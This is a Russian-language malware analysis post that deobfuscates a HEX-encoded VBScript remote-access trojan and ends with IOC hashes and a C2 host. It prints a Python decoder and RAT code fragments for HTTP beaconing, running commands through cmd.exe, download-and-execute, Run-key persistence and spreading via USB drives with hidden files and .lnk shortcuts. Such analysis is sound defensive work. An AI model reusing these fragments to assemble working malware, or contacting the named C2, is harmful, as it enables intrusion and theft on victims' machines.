Введение

На анализ мне попался VBScript-файл, содержимое которого на первый взгляд не давало практически никакой информации о его назначении. В файле находился набор HEX-строк, которые последовательно передавались функции h(). Полученное значение затем выполнялось через ExecuteGlobal.

Я решил сначала не запускать сам скрипт, а восстановить скрытый код и уже после этого разбирать его поведение. Для этого мне было достаточно понять, каким образом формируется строка f и что именно делает функция h().

В результате оказалось, что HEX здесь используется только для сокрытия исходного VBScript. После декодирования я получил полноценный RAT, который взаимодействует с удалённым сервером по HTTP, выполняет команды оператора, работает с файлами и процессами, собирает информацию о системе, устанавливает persistence и умеет распространяться через съёмные USB-накопители.

Что находилось в исходном файле

Основная часть кода была представлена конструкциями:

f=f&h("703D2822222222290D0A673D2876626372290D0A...")
f=f&h("2E7368656C6C222670262229222667262264696D...")
f=f&h("267026226D73786D6C322E786D6C687474702...")

При этом функция h() выглядела следующим образом:

Function h(f)
    For y = 1 To Len(f) Step 2
        ub = ub & Chr(Clng("&H" & Mid(f, y, 2)))
    Next
    h = ub
End Function

Здесь ничего сложного нет. Функция проходит по строке по два символа, воспринимает каждую пару как HEX-байт и преобразует её через Chr() в символ. Таким образом, например, последовательность 70 61 74 68 превращается в строку path.

После обработки всех блоков получается исходный текст скрипта. Далее он передаётся в ExecuteGlobal, то есть VBScript динамически выполняет сформированный код.

Получается простая цепочка:

HEX
 ↓
h()
 ↓
строка VBScript
 ↓
ExecuteGlobal
 ↓
выполнение RAT

Поэтому для дальнейшего анализа я сначала восстановил весь скрытый код.

Расшифровка

Чтобы не собирать строку вручную, я написал небольшой Python-скрипт. Он находит все конструкции f=f&h("..."), извлекает HEX и объединяет полученные данные в один файл.

import re
from pathlib import Path

src = Path("1.vbs").read_text(
    encoding="utf-8",
    errors="ignore"
)

chunks = re.findall(
    r'f\s*=\s*f\s*&\s*h\("([0-9A-Fa-f]+)"\)',
    src
)

print(f"[+] HEX blocks: {len(chunks)}")

text = ''.join(
    bytes.fromhex(chunk).decode("latin-1")
    for chunk in chunks
)

text = text.replace("f!", "function")

Path("decoded.vbs").write_text(
    text,
    encoding="utf-8"
)

print("[+] Saved: decoded.vbs")

После запуска скрипта я получил decoded.vbs, который уже можно было анализировать как обычный VBScript.

Что оказалось внутри

После декодирования первым делом бросаются в глаза создаваемые COM-объекты:

dim sh
set sh = wscript.createobject("wscript.shell")

dim fs
set fs = createobject("scripting.filesystemobject")

dim htp
set htp = createobject("msxml2.xmlhttp")

Здесь уже становится понятно направление дальнейшего анализа. WScript.Shell используется для взаимодействия с Windows, запуска процессов и работы с реестром. Scripting.FileSystemObject отвечает за файлы, каталоги и диски. MSXML2.XMLHTTP используется для сетевого взаимодействия. Также скрипт определяет собственный путь:

path=fs.GetParentFolderName(WScript.ScriptFullName)

После этого идёт подготовка каталога для работы RAT. Сначала используется %APPDATA%, а если такого каталога нет, в качестве рабочего каталога выбирается %TEMP%.

Адрес C2

Следующим этапом я посмотрел, куда вообще устанавливается сетевое соединение. Адрес сервера скрыт не обычной HEX-строкой, а последовательностью ChrW():

YUc5emRB = chrw(120)&chrw(110)&chrw(056)&chrw(110)&chrw(056)&chrw(046)&chrw(115)&chrw(121)&chrw(116)&chrw(101)&chrw(115)&chrw(046)&chrw(110)&chrw(101)&chrw(116)

Если заменить значения ChrW() на соответствующие символы, получается:

xn.n..sytes.net

Порт формируется отдельным выражением:

cG9ydA = Asc(chrw(200+26))

В результате значение порта равно 226.

HTTP-соединение выполняется через MSXML2.XMLHTTP:

htp.open "post", "http://" & YUc5emRB & ":" & cG9ydA & "/" & M2R, false
htp.setrequestheader "user-agent:",information
htp.send param

То есть RAT использует HTTP POST, а путь запроса формируется динамически в зависимости от выполняемой операции.

Связь с сервером

После инициализации скрипт переходит в бесконечный цикл:

while true
    i = i + 1

    If i = 4 Then
        install
        i = 0
    End If

    response = post ("is-ready","")
    M2R = split (response,YzNC)

    select case M2R (0)
        ...
    end select

    wscript.sleep sleep
wend

Первым делом RAT отправляет запрос на /is-ready. Ответ сервера разделяется при помощи значения YzNC, после чего первый элемент полученной строки используется как команда.

Таким образом, сервер не просто отвечает на периодический запрос. Он фактически управляет дальнейшим поведением скрипта. В обработчике select case я обнаружил команды excecute, update, uninstall, send, site-send, recv, enum-driver, enum-faf, enum-process, M2R-shell, delete, exit-process и sleep.

Уже по этому участку становится понятно, что передо мной не загрузчик и не простой скрипт для одной операции, а полноценный механизм удалённого управления.

Удалённое выполнение команд

Самая интересная часть находится в функции M2Rshell():

set oexec = sh.exec("%comspec% /c " & M2R)

Команда передаётся через %COMSPEC% /c, то есть фактически выполняется командным интерпретатором Windows. После выполнения RAT считывает вывод процесса:

readallfromany = oexec.stdout.readall

Если стандартный вывод отсутствует, скрипт пытается получить данные из stderr. Получается полноценный канал удалённого выполнения команд: сервер передаёт команду, заражённая машина запускает её через cmd.exe, после чего результат возвращается обратно.

Сбор информации о системе

Перед дальнейшей работой RAT формирует информацию о заражённой машине. В первую очередь собираются HWID, имя компьютера и имя пользователя:

inf = "2__" & hwid & YzNC
inf = inf & sh.expandenvironmentstrings("%computername%") & YzNC
inf = inf & sh.expandenvironmentstrings("%username%") & YzNC

Информация об операционной системе получается через WMI:

set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set os = root.execquery("select * from win32_operatingsystem")

Из объекта Win32_OperatingSystem берётся название установленной ОС. Отдельно RAT пытается определить установленный антивирус. В зависимости от версии Windows выбирается SecurityCenter или SecurityCenter2, после чего выполняется запрос:

select * from antivirusproduct

Из найденных объектов берётся displayname. Таким образом, ещё до выполнения оператором каких-либо команд RAT собирает базовую информацию о системе и передаёт её на C2.

Формирование HWID

HWID формируется из серийного номера логического диска:

set disks = root.execquery ("select * from win32_logicaldisk")

for each disk in disks
    if disk.volumeserialnumber <> "" then
        hwid = disk.volumeserialnumber
        exit for
    end if
next

Скрипт перебирает логические диски и использует первый найденный VolumeSerialNumber. Это значение затем включается в информацию, отправляемую серверу.

Работа с процессами

RAT умеет получать список запущенных процессов через WMI:

set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_process,,48")

Для каждого процесса собираются имя, PID и путь к исполняемому файлу:

enumprocess = enumprocess & objitem.name & "|"
enumprocess = enumprocess & objitem.processid & "|"
enumprocess = enumprocess & objitem.executablepath & YzNC

Есть и обратная операция — завершение процесса:

sh.run "taskkill /F /T /PID " & pid,7,true

То есть оператор через C2 может получить список процессов и затем завершить выбранный процесс по PID.

Работа с файловой системой

Для взаимодействия с файловой системой используется Scripting.FileSystemObject. Функция enumdriver() перебирает доступные диски и возвращает их пути и типы:

for each drive in fs.drives
    if drive.isready = true then
        enumdriver = enumdriver & drive.path & "|" & drive.drivetype & YzNC
    end if
next

Функция enumfaf() уже позволяет получить содержимое конкретного каталога. Для папок передаются имя и атрибуты, для файлов — имя, размер и атрибуты. Также есть прямое удаление:

fs.deletefile url
fs.deletefolder url

Таким образом, RAT получает базовые возможности удалённого управления файловой системой.

Передача файлов

Передача файлов реализована в обе стороны. При выполнении команды send вызывается функция download(). Она отправляет POST-запрос на /is-sending, получает ответ и сохраняет его через ADODB.Stream в бинарном режиме.

После сохранения файл запускается:

sh.run objfsodownload.getfile(strsaveto).shortpath

То есть сервер может передать файл на заражённую машину и сразу запустить его. Обратная операция находится в upload(). Сначала файл открывается через ADODB.Stream, содержимое считывается в буфер, после чего буфер отправляется POST-запросом на /is-recving. Получается полноценная передача файлов между C2 и заражённой системой.

Закрепление в системе

В образце присутствует persistence через ключи Run. Функция upstart() записывает запуск скрипта в:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

и:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

В качестве команды используется wscript.exe с параметрами запуска VBScript:

wscript.exe //B //E:vbs <путь к файлу>

Дополнительно скрипт копирует себя в рабочий каталог %APPDATA%. Таким образом, после перезагрузки системы RAT может автоматически запускаться снова.

Распространение через USB

Отдельно в коде реализован механизм распространения через съёмные накопители.

В функции install() перебираются все диски:

for each drive in fs.drives

Затем проверяется, является ли диск готовым и имеет ли тип 1:

if drive.isready = true then
    if drive.freespace > 0 then
        if drive.drivetype = 1 then

После этого текущий скрипт копируется на накопитель:

fs.copyfile wscript.scriptfullname, drive.path & "\" & aW5zdGF,true

Файлу устанавливаются атрибуты 2+4, то есть скрытый и системный.

После этого создаются каталоги Mes images и Nouveau dossier, а внутри них создаются ярлыки .lnk, которые запускают wscript.exe с параметрами для выполнения вредоносного VBS. Дополнительно RAT проходит по каталогам в корне накопителя, копирует туда свою версию и создаёт соответствующие ярлыки. По сути, здесь реализована классическая схема распространения через USB: вредоносный файл скрывается, а вместо него пользователю показывается ярлык, который при запуске вызывает wscript.exe.

Самоудаление

В коде предусмотрена и обратная команда — uninstall. При её получении удаляются записи из Run, удаляется файл из Startup и сам текущий скрипт. После этого RAT проходит по подключённым дискам и удаляет созданные им файлы и ярлыки. То есть автор предусмотрел не только установку и постоянную работу образца, но и возможность удалить его следы по команде с C2.

Индикаторы компрометации (IOC)

MD5

2fa0e66d8cb4872ef3c6319a3641e2e8

SHA-1

fe9cff4c25aa36051ad8d038ecc79bd1ed9eb3e1

SHA-256

00cc17f7380443b443de3aa92c7f9216653bdd40501aafc7185ee53e1c1b1079

C2

xn.n..sytes.net

Port

226

Итог

После снятия обфускации структура образца стала достаточно понятной. В исходном файле основная логика была скрыта внутри HEX-строк и выполнялась через ExecuteGlobal, но после восстановления кода удалось увидеть полноценный RAT.

Скрипт устанавливает соединение с C2 по HTTP, отправляет информацию о заражённой системе и ожидает команды. Через этот канал реализовано удалённое выполнение команд, работа с процессами и файловой системой, передача файлов, удаление данных и изменение состояния самого RAT.

Отдельного внимания заслуживает распространение через USB-накопители. Скрипт копирует себя на съёмные диски, скрывает основной файл и создаёт .lnk, который запускает вредоносный VBScript через wscript.exe.

В итоге перед нами VBScript RAT, в котором нет какой-либо сложной криптографии или нестандартных техник выполнения. Основной упор сделан на стандартные компоненты Windows: WScript.Shell, FileSystemObject, MSXML2.XMLHTTP, ADODB.Stream и WMI. Именно поэтому после снятия первоначальной обфускации вся логика образца достаточно хорошо читается непосредственно из исходного кода.

Комментарии (0)